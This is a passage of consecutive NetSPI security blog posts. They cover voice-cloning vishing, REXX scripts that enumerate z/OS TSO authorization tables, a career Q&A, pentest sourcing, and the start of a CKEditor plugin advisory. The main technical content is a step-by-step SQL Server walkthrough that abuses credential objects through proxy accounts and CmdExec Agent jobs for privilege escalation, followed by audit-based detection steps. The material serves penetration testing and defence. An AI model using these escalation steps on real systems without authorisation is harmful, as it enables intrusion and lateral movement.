This test demonstrated the alarming ease with which cybercriminals can exploit voice cloning technology for malicious purposes. Here are two implications of AI voice cloning for cybersecurity:  

• Trust Exploitation: Employees are more likely to follow instructions from voices they recognize and trust, making voice cloning a potent tool for vishing attacks. 
• Awareness and Training: Organizations must invest in regular cybersecurity training to educate employees about the risks of advanced social engineering attacks, including voice cloning. 

NetSPI’s use of voice cloning in this engagement underscores the evolving nature of cyber threats. By understanding these risks and taking proactive measures, organizations can better protect themselves from sophisticated attacks.

Foundational Guidelines for Safely Using AI Voice Cloners 

In exploring the capabilities of voice cloning technology, it’s essential to address the ethical implications and practices that guide its use. At NetSPI, we uphold a strict policy regarding cloned content, ensuring that we only proceed with the explicit consent of the individual whose voice is being utilized. This commitment to ethical standards extends to our pretexts, which are crafted to avoid controversial or harmful scenarios.  

For instance, we steer clear of high-stress narratives such as threats of job loss or emergencies involving family members. Instead, our intent is to create interactions that are as unmemorable as possible — blending into the background rather than drawing attention. 

This approach reduces the potential for unnecessary stress among employees, aligning our practices with both ethical communication and responsible technology usage.

Proactive Security Can Counter Social Engineering Risks 

The technology behind voice cloning is still emerging, but its impact on cybersecurity is significant. As major players like OpenAI continue to advance voice generation models, the accessibility and speed of these technologies will increase. Future models may only require seconds of audio to create accurate voice clones. 

Strategies for Social Engineering Prevention Against AI Voice Cloning   

To mitigate these risks, organizations must implement rigorous verification processes for voice-based interactions. Below are a few effective strategies to enhance security against voice cloners: 

1. Issue a one-time passcode to the caller’s device. 
2. Rotate codes or phrases available on a shared intranet site. The caller provides the secret word when the call starts. The secret word refreshes every two to three minutes to avoid re-use. 
3. Perform secondary verification through internal chat. The caller confirms a Microsoft Teams message with the verification code/phrase to make sure it is legitimate 
4. Conduct a live video call where the caller can present proof of identification, such as a government-issued ID.  

Without stringent safeguards, the misuse of voice cloning technology is poised to become a prevalent method for social engineering attacks. Such attacks are among the most straightforward and effective tactics for compromising systems, as demonstrated by recent high-profile breaches like the one MGM experienced in 2023, resulting in an estimated loss of up $100 million.

See NetSPI’s Voice Cloner in Action

While the advancements in AI voice cloning offer transformative potential, they also demand a proactive approach to security. Ensuring collaboration between technologists, policymakers, and cybersecurity professionals is essential to mitigate the risks and harness the benefits of this powerful technology. 

See how The NetSPI Agents use our voice cloner tool to enhance clients’ social engineering detection and prevention capabilities. Prepare for the future by equipping your team against hyper-targeted vishing campaigns. Request a demo today. 

The post The Rapid Evolution of AI Voice Cloning and its Implications for Cybersecurity  appeared first on NetSPI.

One of the benefits of working for NetSPI is access to our own testing LPAR. This proves handy when we’re mid-engagement and need to quickly create a tool, allowing us to test it before trying it on a live environment. For example, during a recent engagement, I couldn’t run the TSO command PARMLIB or the operator command “DISPLAY IKJTSO”, both of which provide similar information we use when conducting pentests.

Fortunately, a series of in-memory tables (i.e., IKJEFTE2, IKJEFTE8, IKJEFTAP, and IKJEFTNS) store the information we need. These tables contain the authorized commands, programs, etc., typically defined in the TSO configuration file (IKJTSOxx parmlib member). The TSO/E System Diagnosis: Data Areas manual documents how to locate these tables. 

On z/OS, we refer to these tables as control blocks¹. Typically chained and anchored, we can find all control blocks by starting at the base control block (usually the CVT or common vector table) and traversing the pointers and tables until we obtain the desired information. While these tables are sometimes well-documented (as in this case), we sometimes must figure them out on our own.  

If we lack permission to run the tools or commands to dump this information, we can manually retrieve the contents of the in-memory tables. To do this, we need to traverse a series of pointers and offsets in memory:  

1. We start by looking at the CVT², which is always located at offset 0x10.  
2. At offset 0x9C in the CVT we find the address of the TSO vector table (TSVT) ³, labeled CVTTVT 
3. At offset 0x4C in the TSO vector table (TSVT) is the address of the TSO/E Parameters Vector Table (TPVT), labeled TSVTTPVT 
4. At offset 0x14 in the TSO/E Parameters Vector Table (TPVT)⁴ is the address of the TSO/E Command Tables Location Table (CTLT), labeled TPVTCTLT ⁵ 

The Command Tables Location Table (CTLT) contains the address and other information we need to find our target data. 

In essence, we’ve done this:  

Although the contents of the Command Tables Location Table (CTLT) are well documented, I wanted to visualize the table in memory and make it readable. This approach allows me to access this information in future situations, regardless of access to the commands or programs typically used to read it.

Putting together a quick REXX script is my preferred method, though you could just as easily use ISRDDN to do it (which I’ll leave as an exercise to the reader). 

/* REXX */                                
CVT = STORAGE(10,4)                       
TSVT = STORAGE(D2X(C2D(CVT)+X2D(9C)),4)   
TPVT = STORAGE(D2X(C2D(TSVT)+X2D(4C)),4)  
CTLT = STORAGE(D2X(C2D(TPVT)+X2D(14)),4)  
SAY "CVT:" C2X(CTV)                       
SAY "TSVT:" C2X(TSTV)                     
SAY "TPVT:" C2X(TPVT)                     
SAY "CTLT:" C2X(CTLT)                     
SAY "CTLT CONTENTS"                       
CTLTHEX = STORAGE(C2X(CTLT),100)          
OUTPUT = ''                               
DO I=1 TO 60                              
 BYTE = C2X(SUBSTR(CTLTHEX,I,1))          
 OUTPUT = OUTPUT BYTE                     
 IF I // 16 = 0 THEN DO                   
  SAY OUTPUT                              
  OUTPUT = ''                             
 END                                      
IF OUTPUT \= '' THEN SAY OUTPUT

After saving this REXX script to z/OS and executing it, we obtain the following hex dump of the CTLT table: 

Let’s analyze the bytes in CTLT CONTENTS and refer to IBM’s documentation in the TSO/E System Diagnosis: Data Areas, under KJCTLT information. (As of this blog post, this information is also available at: https://www.ibm.com/docs/en/zos/3.1.0?topic=information-ikjctlt-mapping).

The first 4 bytes (C3 E3 D3 E3, which is EBCDIC for ‘CTLT’) represent what IBM calls an eye catcher, essentially a road marker indicating you’re in the right spot. The next two bytes show the size of this table (00 3C), which is 60, followed by a version byte (02) and a reserved byte. 

The table becomes particularly interesting after these initial bytes. We find 4 entries, each 12 bytes long, followed by a flag byte and three more reserved bytes. 

Let’s examine these four entries more closely. I’ve separated them out here:

20 37 03 88 00 00 02 A8 00 53 00 08 (AUTHCMD/IKJEFTE2) 
20 37 02 60 00 00 01 28 00 23 00 08 (AUTHPGM/IKJEFTE8) 
20 3B 00 00 00 00 00 42 00 05 00 0A (NOTBKGND/IKJEFTNS) 
20 38 50 58 00 00 00 38 00 05 00 08 (AUTHTSF/IKJEFTAP) 

Referring back to the documentation, we can parse each entry as follows: 

• Four bytes: memory address 
• Four bytes: size of the table in bytes 
• Two bytes: number of entries 
• Two bytes: size of each entry 

So, for example, AUTHPGM can be broken down as:

Now that we understand the structure of each entry in the CTLT, we can create a REXX script to enumerate all four structures:  

/* REXX */  
                                          
SAY 'ENUMERATING CTLT' 

  /*                         */ 
 /* Walk the control blocks */ 
/*                         */           

CVT =  C2X(STORAGE(10,4))                                  
TSVT = _STORAGE(CVT,9C)                                    
TPVT = _STORAGE(TSVT,4C)                                   
CTLT = _STORAGE(TPVT,14)                                   
SAY CVT ": CVT" TSVT ": TSVT" TPVT ": TPVT" CTLT ": CTLT"   

/* Get the CTLT size */ 
CTLT_SIZE = C2D(STORAGE(D2X(X2D(CTLT)+4),2))                

  /*                         */ 
 /* Loop through each entry */ 
/*                         */ 

DO I = 8 TO CTLT_SIZE - 5 BY 12                            
 TABLE   = _STORAGE(CTLT,D2X(I))                           
 SIZE    = C2D(STORAGE(D2X(X2D(CTLT)+I+6),2))              
 ENTRIES = C2D(STORAGE(D2X(X2D(CTLT)+I+8),2))              
 LENGTH  = C2D(STORAGE(D2X(X2D(CTLT)+I+10),2))             
 NAME = STORAGE(TABLE,8)                                   
 SAY ;SAY NAME "ENTRIES:" ENTRIES-1; SAY                     
 OUTPUT = ''      

    /*                                         */ 
   /* Print the entries in the table skipping */ 
  /*  over ' PARMLIB'                        */ 
 /*                                         */ 

 DO J = 2 TO ENTRIES                                       
  ENT = STORAGE(D2X(X2D(TABLE) + (LENGTH*J)),LENGTH)  
  OUTPUT = OUTPUT ENT                                
  IF LENGTH(OUTPUT) > 60 THEN DO                     
   SAY OUTPUT                                        
   OUTPUT = ''                                       
  END                                                
 END                                                 
 IF OUTPUT /= '' THEN SAY OUTPUT                     
END                                                  
RETURN                                                                                                   

_STORAGE:                                            
 PARSE ARG ADDR, DISP                                
 RETURN C2X(STORAGE(D2X(X2D(ADDR)+X2D(DISP)),4))

And after uploading this script to z/OS and executing it, we get: 

Success! We can now easily view the contents of the tables we needed. While there’s room for further refinement, particularly in handling the length of the IKJEFTNS entries, the script provides us with the necessary information to overcome the obstacle we faced. 

This work proved its value during a recent engagement. Using this script, we uncovered a privilege escalation path that might have gone undetected otherwise. 

To streamline future pentests, I’ve integrated this functionality as option “TSOT” in my z/OS enumeration REXX script, available here:  

This REXX script is just one example of how we at NetSPI continuously innovate to enhance our penetration testing capabilities. By developing new tools and techniques, we’re able to provide more comprehensive and effective security assessments, particularly in complex mainframe environments. 

Are you looking to bolster your mainframe security? Our expert team is ready to apply these advanced techniques and more to your systems. Click here to learn about our mainframe penetration testing services and schedule a consultation. Let’s work together to secure your critical mainframe infrastructure. 

The post Mapping Mainframe Memory Made Easy appeared first on NetSPI.

In this Q&A, NetSPI Managing Director Sam Horvath, shares his career journey from penetration tester to cybersecurity strategist, offering five actionable tips for technologists who aspire to hold leadership roles: 

1. Embrace challenges and seek new opportunities to expand your skill set and advance your career.  
2. Be adaptable and open to reshaping your role to align with your aspirations.  
3. Seek mentorship from both internal and external sources. 
4. Focus on both hard and soft skills development, including technical expertise and strategic vision.  
5. Be proactive and show up with solutions.

Introduction 

Career paths are rarely linear when working in security, and few stories show this better than NetSPI’s Managing Director, Sam Horvath. Sam’s journey into cybersecurity was fueled by a long-standing curiosity about the field. His entry into pentesting was a pivotal step, setting the stage for a transition from a technical role to a strategist position down the road.  

Today, Sam is at the forefront of guiding some of the world’s largest technology companies and financial institutions toward robust security strategies. Discover how he navigated his career transition and gain insights from his experiences as he shares tips along the journey. 

How did you get started in penetration testing, and how has your career evolved over time?  

I was in a non-security role and really looking for what to do next but had no idea what to do. I always had a peripheral interest in security, but never had the chance to actively pursue specialization in the field.  

That all changed one day when I got a text from a former classmate who asked me if I wanted a chance to learn more about security, and a new job to go along with it. A few phone calls and interviews later, and I was thrilled to join NetSPI University’s first formal class in 2018. I spent six months learning about the basics of information security and penetration testing, and then passed our internal assessments to work on real-world customers. 

After a few years, I was able to expand my skill sets, both in web application penetration testing and social engineering, and really enjoyed the work. I found that I got a lot of satisfaction out of technical leadership for our large financial and technology clients, and really enjoyed interacting with our customers. 

“A few phone calls and interviews later, and I was thrilled to join NetSPI University’s first formal class, back in 2018. I spent six months learning about the basics of information security and penetration testing, and then passed our internal assessments to work on real-world clients.”

Tip #1: Embrace challenges and seek new opportunities to expand your skill set and advance your career.  

When I hit a point during the pandemic where I felt like I needed a fresh challenge, I was able to do something that I think really represents the core ethos of NetSPI — I approached our company leadership to express an interest in doing something different. At many companies, this would not be met with a warm response. At NetSPI, the response was: “Okay great – let’s figure something out.”  

I transitioned to the Managing Director team and was very lucky to spend a year learning from a few of our most knowledgeable team members. Eventually, I was given my own customers to handle, and things took off from there! Fast forward to today, and I spend most of my time working with some of the largest technology and insurance companies in the world. 

Tip #2: Be adaptable and open to reshaping your role to align with your aspirations. 

What responsibilities do you have in your role as a Managing Director? 

As a Managing Director at NetSPI, I leverage my past experience as a penetration tester and my more recent experience as a strategic advisor to ensure that NetSPI is constantly executing its work at the highest standard possible.  

This can include anything from creating metrics with the customer that help measure the success of their penetration testing program to addressing concerns around testing focus areas and methodology. The major theme around my work is helping security leaders shift their viewpoint and operations from dealing with the next challenge six inches in front of their face, one after the other, to executing long-term planning and a proactive security strategy around what they want their penetration testing program to accomplish.

“The major theme around my work is helping security leaders shift their viewpoint and operations from dealing with the next challenge six inches in front of their face, one after the other, to executing long-term planning and strategy around what they want their penetration testing program to accomplish.”

What steps did you take to prepare yourself professionally for the transition from technologist to strategist?    

The single most important step that I took professionally in this new role was to seek out and embrace mentorship.  

Tip #3: Seek mentorship from both internal and external sources to develop your professional skills and navigate your career path.  

I engaged with multiple folks both internal and external to NetSPI to help guide me through specific areas of skill development: 

1. Professional hard skills development, such as how to run a penetration testing program, policy creation, vulnerability measurements, and creating and running a business review. 
2. Soft skills development, including conflict resolution, leading from the middle, and managing up. 
3. Career mapping, as in how to point oneself and what they’re learning and developing in a specific direction. 

By actively seeking mentorship and leveraging the experiences of the people around me, I built skills for leadership roles and navigating cybersecurity planning more effectively.

What kind of challenges did you encounter and how did you move past them?   

The early challenges I encountered were around being in a role that was undefined at the time. When you’re still shaping your role, it can be easy to get caught in the same trap that security executives do – just putting out the next fire or responding to what people need from you. It signifies an admirable intent to help everyone around you, but six months later you can look back and realize you haven’t made the lasting impact you wanted to.  

Tip #4: Focus on both hard and soft skills development, including technical expertise and strategic vision.  

“When you’re still shaping your role, it can be easy to get caught in the same trap that security executives do – just putting out the next fire or responding to what people need from you. It signifies an admirable intent to help everyone around you, but six months later you can look back and realize you haven’t made the lasting impact you wanted to.”

The other early challenge I encountered was my skill set. I was very familiar with being a penetration tester and had led and participated in highly complex technical programs for some of the world’s leading tech companies. But that didn’t begin to cover what I needed to know to be successful in my new role.  

I had to look to the direction of a handful of folks senior to me at NetSPI to learn how to earn trust and become a strategic advisor to a customer, negotiate difficult situations both internally and externally, understand security program strategy and maturity, and many other items. And I had to learn it all as fast as possible.  

How does your day-to-day as a managing director compare to your day in the life of a penetration tester?  

My current role is very different than my time as a practitioner. First, work isn’t assigned to me, and there’s no one else who I can look to as responsible to drive an effort forward. If we don’t succeed for our customers, the buck stops with me.  

I miss being technical, but I love that I can be more strategic. In my current role, I often get to have “big idea” strategy discussions – how we attune our larger movements and goals for the year ahead, and I then work with our teams to translate that into tactical actions and initiatives.  

An important piece of these discussions is the preparation and use of vulnerability data to illustrate the overall state of a customer’s program, and that’s something I love doing as a Managing Director, that I did not get to do at all as a consultant. I often spend hours and hours working with vulnerability data to discover trends and recommend initiatives to our customers. This is one of a few key areas at NetSPI where true impact to the security program becomes a reality. 

Can you share any advice for technologists looking to evolve their role into cybersecurity leadership?  

To move into bigger shoes, you first have to show you’ve got big feet. Take responsibility for an initiative or ask to ride along with someone on it. Find something you’re passionate about within the company and become the expert! 

Be ready to screw up – you’re going to make a lot of mistakes as you learn to play a bigger role, and that’s okay. Having a good mentor will help you learn from those mistakes, and so will being self-aware.   

Become borderline maniacal about feedback. Ask for it from everyone you can. As human beings, we tend to have an opinion on most things we see in the workplace, and life in general. Most people won’t proactively share their opinions with you at work regarding your own performance, so make sure you go ask whoever you can for feedback on your working style and skill set. You’ll be surprised at how valuable that process is.   

“Be ready to screw up – you’re going to make a lot of mistakes as you learn to play a bigger role, and that’s okay. Having a good mentor will help you learn from those mistakes, and so will being self-aware.”

Tip #5: Be proactive and show up with solutions.   

Finally, and most importantly – act on the feedback you get. Everyone has things they can get better at – if you do 1% better every day, you will be 37 times better at that thing in a year.   

Conclusion 

Sam’s journey from pentester to Managing Director shows the dynamic nature of career paths in cyber. His insights are a valuable guide for technologists aspiring to step into leadership roles. By embracing challenges, seeking mentorship, and actively developing both hard and soft skills, professionals can position themselves for growth and influence in their fields.  

Whether you’re getting started in cybersecurity or contemplating a shift into leadership, the tips Sam shared provide a roadmap to navigate the complexities of this critical transition. Explore NetSPI’s open positions and help secure the most trusted brands on Earth. 

The post 5 Essential Cybersecurity Leadership Tips for Technologists  appeared first on NetSPI.

The Scenario 

Let’s start by painting a picture of a common scenario and the problem we are trying to solve with this technique. 

1. You are a penetration tester or red teamer.
2. You have obtained sysadmin privilege on a SQL Server instance through a common attack vector, such as SQL Injection, weak password, excessive privilege, or misconfigured SQL Server link.
3. You can execute commands and code on the host operating system in the context of the SQL Server service account using a variety of techniques like xp_cmdshell, custom CLRs, agent jobs, etc.
4. The problem is that the SQL Server service account is configured to run as NT Service\MSSQLSERVER, which is an account with limited privileges on the operating system. As testers we want local administrator privileges at a minimum and Domain Admin if we are lucky. So, we need to find a workaround.
5. Given the limitations of the NT Service\MSSQLSERVER account, our next step is often attempting to escalate privileges locally. There are many OS-centric approaches to privilege escalation in Windows including, but not limited to #AllThePotatoes. However, I wanted to consider how SQL Server credentials could potentially be abused in this scenario if they have been configured on a SQL Server instance. 

Let’s explore the idea. 

What is a Credential Object in SQL Server? 

Credentials are objects in SQL Server that store information, such as usernames and passwords, which can be used to authenticate to external resources like other SQL Servers, file shares, or web services, and execute processes/tasks in the context of another user. Credential types include SQL Server logins, local Windows users, and Active Directory domain users.  

Some common subsystems in SQL Server that use credentials include: 

• Agent Jobs
• SQL Server Integration Services (SSIS)
• SQL Server Reporting Services (SSRS)
• Linked Servers 
• Database Mail 
• Service Broker 
• Replication 

There are many legitimate use cases for credential objects in SQL Server, but like all stored authentication tokens, they can be targeted and abused by threat actors.   

How can I Recover the Usernames and Passwords Stored in Credential Objects? 

Obtaining cleartext passwords can be incredibly useful during privilege escalation. So how do we recover them from the SQL Server credential objects?  The big hurdle is encryption. The information stored in credential objects is encrypted through the process described here.   

Fortunately, Antti Rantasaari developed a PowerShell script in 2014 that decrypts the credentials stored in SQL Server objects. He also provided a detailed blog post outlining the decryption process. This script has since been ported to the Get-DecryptedObject function within the DBATools module by Chrissy LeMaire, who has maintained it actively. 

To run Antti’s function, import his PowerShell function, and run the command below. 

Get-MSSQLCredentialPasswords 

However, before you start down that path you should know there are some requirements.

In our scenario, we do not meet all the necessary requirements to recover cleartext passwords from the credential objects. Antti Rantasaari’s technique is highly effective, but it requires that we already have local administrative privileges on the Windows system hosting the SQL Server instance. Without these administrative privileges, the technique cannot be applied. So, what are our options if we don’t have local administrative privileges? 

How can I Abuse SQL Server Credential Objects without Local Administrator Access? 

As discussed earlier, credential objects in SQL Server are designed to enable access to external resources and execute tasks in the context of another user. This means that we do not need to recover the cleartext usernames and passwords stored in credential objects to run code in another user’s context—we can leverage the functionality as it was designed. 

Below is a process that can be used to “hijack” an existing credential object configured on the SQL Server instance, allowing you to execute code in the provided user’s context using SQL Server Agent jobs. No password or local OS administrator privileges required.  

Lab Setup 

1. Install SQL Server. 
2. Create a local Windows user named testuser and make it a local administrator. 

net user testuser P@ssw0rd! /add 
net localgroup administrators /add testuser 

3. Log into the SQL Server and create the credential object. 

CREATE CREDENTIAL [MyCredential] 
WITH IDENTITY = 'yourcomputernamehere\testuser',  
SECRET = 'P@ssw0rd!'; 

Credential Impersonation Walkthrough 

1. Log into the SQL Server instance. Verify that you have sysadmin access. 

SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;

2. List credentials. The query below will provide you with a list of credentials configured on the SQL Server instance. If any exist, you’re halfway there. 

SELECT * FROM sys.credentials 

3. List proxy accounts. Proxy accounts are tied to the credential object and used by the agent jobs. Leveraging an existing proxy account can reduce the likelihood of detection. 

USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO 

4. Create a proxy account. If a proxy account doesn’t already exist for the credential object we want to abuse/impersonate, then we can create one and assign it the required privileges.  For more information on proxy accounts check out https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16. 

USE msdb; 
GO 

EXEC sp_add_proxy  
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy 
  @credential_name = N'MyCredential';      -- Name of the existing credential 

EXEC sp_grant_proxy_to_subsystem  
  @proxy_name = N'MyCredentialProxy',  
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem 

5. Verify the proxy account was created.

USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO 

6. Create an Agent job to execute your desired code or commands on the operating system. Available default options include PowerShell, VBScript, JScript, and CMDEXEC. Ensure that the job is configured with the appropriate proxy account. In the proof-of-concept example below, the process simply creates a file named whoami.txt in the C:\Windows\Temp\ folder to demonstrate that the process was executed in the proxy user’s context. 

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  

7. Use the query below to verify that the proxy account is being used by the Agent. The query will also list all other Agent jobs that are configured to run using proxy accounts. 

USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id; 

8. Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. 

EXEC sp_start_job @job_name = N'WhoAmIJob'; 

9. Confirm execution by reviewing the c:\windows\temp\whoami.txt file contents. 

So, to recap, we were able to execute commands on the host operating system using the credentials without needing to know the associated username or password. However, at this point, if you were able to impersonate a user with local administrative privileges you can also recover the cleartext username and password from configured credential objects using Antti’s technique. 

Detection and Hunting Opportunities  

The previous section was great for attackers, but not so great for defenders. Below is an overview of some detection opportunities for the good guys.

Data Source: Application Logs 
Detection Strategy: Behavior 
Detection Concept:  To detect abuse of credential objects using proxy accounts, create server and database audit specifications that can identify when a proxy account is created by monitoring for the execution of the ‘sp_add_proxy’ and ‘sp_grant_proxy_to_subsystem’ stored procedures. SQL Server can also be configured to send those events to the Windows Application log where monitoring can be enabled for event ID 33205. 
Known Detection Consideration: Some database administrators may use credentials and proxy accounts for legitimate purposes, but it should not happen at a regular cadence. 

Detection Configuration Instructions: 

1. Create the Server Audit. 

Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO

2. Create the Database Audit Specification. This captures server-level and database-level changes in the msdb database. 

USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO 

3. Enable the specification.  

Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO 

4. If you rerun the proxy account creation steps and review the Windows Application Log for event ID 33205, you should see instances of the ‘sp_add_proxy’ and ‘sp_grant_proxy_to_subsystem’ stored procedure execution. 

Wrap Up 

If you’d like to explore my previous offensive security work related to SQL Server, you can find it at powerupsql.com. The site includes the PowerUpSQL code, SQL attack templates, Detection Templates, privilege escalation cheatsheets, blogs, and presentations focused on hacking SQL Server.

Note: I have not attempted to test this technique against Azure SQL Databases yet, but my preliminary research indicates credentials are not supported.

PS: A big thank you to Brian from 7 Minute Security (@7MinSec – 7minsec.com) for outlining the scenario/problem space that led to this solution.

The post Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation  appeared first on NetSPI.

Balancing in-house and third-party penetration testing involves weighing control and customization against scalability and specialized skills. In-house teams offer deep organizational knowledge and build a culture of security internally, but they can be costly. Outsourcing pentesting to a third-party provides access to expert talent, flexibility, and cost-effectiveness, but may pose quality and dependency risks. Effective pentesting programs often combine both approaches to optimize resources and manage fluctuating demands. Selecting the right provider depends on their quality, engagement process, flexibility, and additional advantages.

Introduction 

Penetration testing is a critical practice for any organization serious about cybersecurity. But I’ve seen the debate between insourcing and outsourcing these crucial efforts go on for years. While many security teams have talented in-house pentesting specialists, I’ve found that the most effective approach often involves both in-house expertise and third-party penetration testers. 

This hybrid model offers the flexibility and scalability necessary to create a robust and dynamic penetration testing program. Here’s why I believe that integrating both in-house and third-party penetration testing can produce superior results. 

The Value of In-House Penetration Testing 

Deep Organizational Knowledge 

In-house penetration testers have the advantage of being deeply embedded within the organization. They possess a thorough understanding of the company’s internal systems, applications, and overall business context. This familiarity enables them to identify vulnerabilities that might be overlooked by external testers who lack this nuanced perspective. 

Consistent Collaboration 

Another benefit of in-house testers is the ability to build strong relationships with various teams within the organization. Frequent interactions with development, network, and cloud teams foster a culture of security, helping it become part of the organization’s culture. 

Immediate Availability 

In-house teams are always on standby, ready to address urgent security needs. They can quickly respond to incidents, perform ad-hoc tests, and continuously monitor systems without the delays that might come with scheduling external testers.

The Added Benefits of Third-Party Providers 

Scalability and Flexibility 

One of the primary advantages I’ve found in outsourcing penetration testing is scalability. It’s difficult to predict the demand for testing, which can fluctuate based on system changes and development cycles. Third-party providers can easily scale their services to meet these unpredictable demands, adding testers for short bursts of intensive testing and scaling down during quieter periods. 

Specialized Expertise 

Certain technologies require niche skills that are scarce in the industry. For example, I’ve found that finding mainframe penetration testers is notoriously difficult. Third-party providers often have access to a broader pool of specialized talent that brings deep expertise when needed, without having to hire or train full-time employees for a niche requirement. 

Fresh Perspectives 

Third-party testers bring a fresh set of eyes to any security landscape. Continuous internal testing can lead to complacency, but external testers can offer new insights, approach problems differently, and identify vulnerabilities that in-house experts might miss due to familiarity. 

Objectivity and Compliance 

Third-party pentesting vendors play a crucial role in helping organizations meet various compliance requirements. Many regulatory frameworks, such as PCI DSS, HIPAA, and GDPR, necessitate regular security assessments to ensure that sensitive data is adequately protected. By engaging external vendors, organizations can benefit from their specialized expertise and industry knowledge, ensuring that their pentesting processes align with compliance standards.

The Power of a Hybrid Approach 

Balancing Workload 

A hybrid model allows organizations to balance the workload efficiently. In-house teams can handle regular, ongoing tasks while third-party providers tackle overflow work and special projects requiring unique skills. This ensures that all security needs are met without overburdening internal resources. 

Comprehensive Coverage 

By combining in-house and third-party efforts, organizations achieve more comprehensive coverage. Internal testers offer detailed, context-aware insights, while external experts provide objective assessments and uncover hidden threats. 

Quality Assurance 

Having both in-house and third-party testers allows for quality assurance through A/B testing. Organizations can compare the findings of internal and external teams, ensuring that no vulnerabilities are missed and maintaining a high standard of security. 

Selecting a Penetration Testing Provider 

When choosing a third-party penetration testing provider, it’s crucial to consider not only their technical capabilities, but also their engagement process. Look for providers who offer additional benefits like ease of collaboration, flexibility, and access to advanced technologies. 

Factors to consider:  

1. Quality of Testing: Ensure the provider has a track record of delivering high-quality penetration testing reporting and proven results.  
2. Engagement Process: The provider should be easy to work with and offer a seamless engagement process. 
3. Flexibility and Scalability: The ability to scale resources based on your needs is vital. 
4. Related Services: Look for partners who offer value-added services, like integrated defect tracking systems and real-time access to test results. 
5. Innovation in Tools and Tactics: Vendors that prioritize innovation are better positioned to stay up to date with current threat actor methods, identify weaknesses before they can be exploited, and ensure a proactive approach to safeguarding sensitive information. 
6. Strong Reputation: Word of mouth speaks volumes when looking for a pentesting provider. Ask around, read reviews, and dig into tough questions when evaluating a vendor to ensure they’ve proven their success. 

Addressing Potential Risks 

Retention Challenges 

In-house teams face risks related to talent retention. Skilled penetration testers are highly sought after, and there’s always a risk of turnover. One way to mitigate this is by investing in continuous learning (give NetSPI’s Hack Responsibly blog a read) and career advancement opportunities to keep the team engaged and motivated. 

Quality Assurance in Outsourcing 

When relying on third-party providers, ensuring the quality of their work is crucial. Organizations should conduct thorough vetting processes and establish clear contracts that outline expectations, quality metrics, and deliverables. Regular feedback loops and performance reviews can help maintain high standards. 

Cost Considerations 

Both insourcing and outsourcing come with financial considerations beyond salaries. In-house teams require ongoing training and resources, while third-party providers’ costs depend on the scope and frequency of their engagements. A hybrid model allows for more predictable budgeting by balancing fixed and variable costs. 

Final Thoughts 

We all know that no single approach fits all. The optimal penetration testing strategy often involves a blend of in-house expertise and third-party specialization. This hybrid model not only enhances flexibility and scalability but also ensures that your organization benefits from diverse expertise and fresh perspectives. 

By strategically combining the strengths of both in-house and outsourced resources, you can build a penetration testing program that is not only robust but also adaptable and capable of meeting the evolving demands of cybersecurity. 

Ready to take your pentesting to the next level? Explore The NetSPI Platform, designed to provide you with unparalleled visibility and flexibility in managing your proactive security testing program. Request a demo today and experience the future of pentesting. 

The post The Balancing Act of In-House vs Third-Party Penetration Testing appeared first on NetSPI.

What is CVE-2024-37888? 

CVE-2024-37888 is a vulnerability affecting the Open Link plugin in CKEditor 4, a widely used “what you see is what you get” (WYSIWYG) editor. This flaw allows an attacker to execute arbitrary JavaScript code in the user’s browser, bypassing the library’s sanitization mechanisms. The successful exploitation of this vulnerability needs direct user interaction where an attacker can mislead/manipulate a victim into injecting code into the CKEditor workspace. 

Discovered during a NetSPI client engagement, this issue was initially suspected to be an application-specific problem. Further investigation revealed that it was a previously unknown flaw in the Open Link plugin for CKEditor 4. 

• Note that this vulnerability exists within the codebase of the Open Link plugin, not CKEditor 4 itself.
• Affected version: Open Link Plugin (version < 1.0.5)
• The commit containing the vulnerable code can be found here. 

The Discovery Story 

